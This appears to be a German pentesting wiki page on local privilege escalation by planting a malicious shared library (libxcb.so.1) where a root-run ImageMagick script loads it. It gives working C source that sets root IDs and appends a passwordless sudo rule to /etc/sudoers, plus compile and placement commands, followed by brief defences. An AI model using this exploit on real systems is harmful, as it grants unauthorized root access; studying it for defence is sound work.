Third-Party Binary Abuse
Diese Technik nutzt eine Kombination aus einem unsicher konfigurierten Skript, ImageMagick und der LD_PRELOAD-Umgebungsvariable zur lokalen Privilege Escalation.
Voraussetzungen
Schreibrechte auf ein vom System regelmässig ausgeführtes Skriptverzeichnis oder einen referenzierten Pfad
Verwundbare Version von ImageMagick (z. B. anfällig für ImageTragick oder unsichere Nutzung von
identify
)Ausführung von ImageMagick-Binaries auf benutzerkontrollierten Dateien
Schreibrechte auf ein Verzeichnis, das durch das Skript referenziert wird
Beispiel: Verwundbares Skript
Pfad: /opt/scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
Erklärung:
Das Skript durchläuft rekursiv alle
.jpg
-Dateien im Verzeichnis und übergibt sie an ImageMagick'sidentify
.identify
ist ein Befehl von ImageMagick zur Analyse von Bilddateien.Wird durch einen Cronjob oder manuellen Aufruf mit erweiterten Rechten ausgeführt, kann dies missbraucht werden.
Ausnutzung über LD_PRELOAD (Shared Object Injection)
Schadcode schreiben:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}
Erklärung:
Die Funktion
_init()
wird automatisch bei Laden der Shared Library ausgeführt.LD_PRELOAD
wird entfernt, um Rekursion zu vermeiden.UID und GID werden auf 0 gesetzt (Root).
sudoers
-Datei wird manipuliert, um Passwortfreiheit fürdeveloper
zu gewährleisten.
Kompilierung der Shared Library:
gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles
Hinweis: libxcb.so.1
ist eine Library, die von ImageMagick geladen wird. Der Name muss einem von ImageMagick verwendeten Modul entsprechen.
Platzierung im richtigen Verzeichnis:
mv libxcb.so.1 /opt/app/static/assets/images/
Auslösung des Exploits:
Sobald das Skript
identify_images.sh
ausgeführt wird, wird ImageMagick auf.jpg
-Dateien im Verzeichnis angewendet.ImageMagick lädt beim Start dynamisch bestimmte Libraries.
Falls es eine manipulierte Version der
libxcb.so.1
im aktuellen Arbeitsverzeichnis findet, wird diese geladen.
Ergebnis:
Die manipulierte Shared Library wird durch ImageMagick geladen.
_init()
wird mit Root-Rechten ausgeführt und modifiziert/etc/sudoers
.Der Benutzer
developer
kann nun ohne Passwortsudo
verwenden.
Beispiel:
sudo su -
# Zugriff als root möglich
Verteidigungsstrategien
Vermeidung von LD_PRELOAD: Setze
LD_PRELOAD
beim Aufruf von Binaries wieidentify
zurück oder deaktiviere es im Skript.Pfadkontrolle: Nutze absolute Pfade und sichere Umgebungen (z. B. mit
env -i
).Library Loading Restriction: Nutze Mechanismen wie
LD_LIBRARY_PATH
-Kontrolle odernoexec
Mount-Option.Rechtehygiene: Beschränke Schreibrechte für Verzeichnisse, die durch systemkritische Skripte genutzt werden.
Audit & Monitoring: Setze Audit-Mechanismen ein, um das Laden unerwarteter Libraries zu erkennen.
Last updated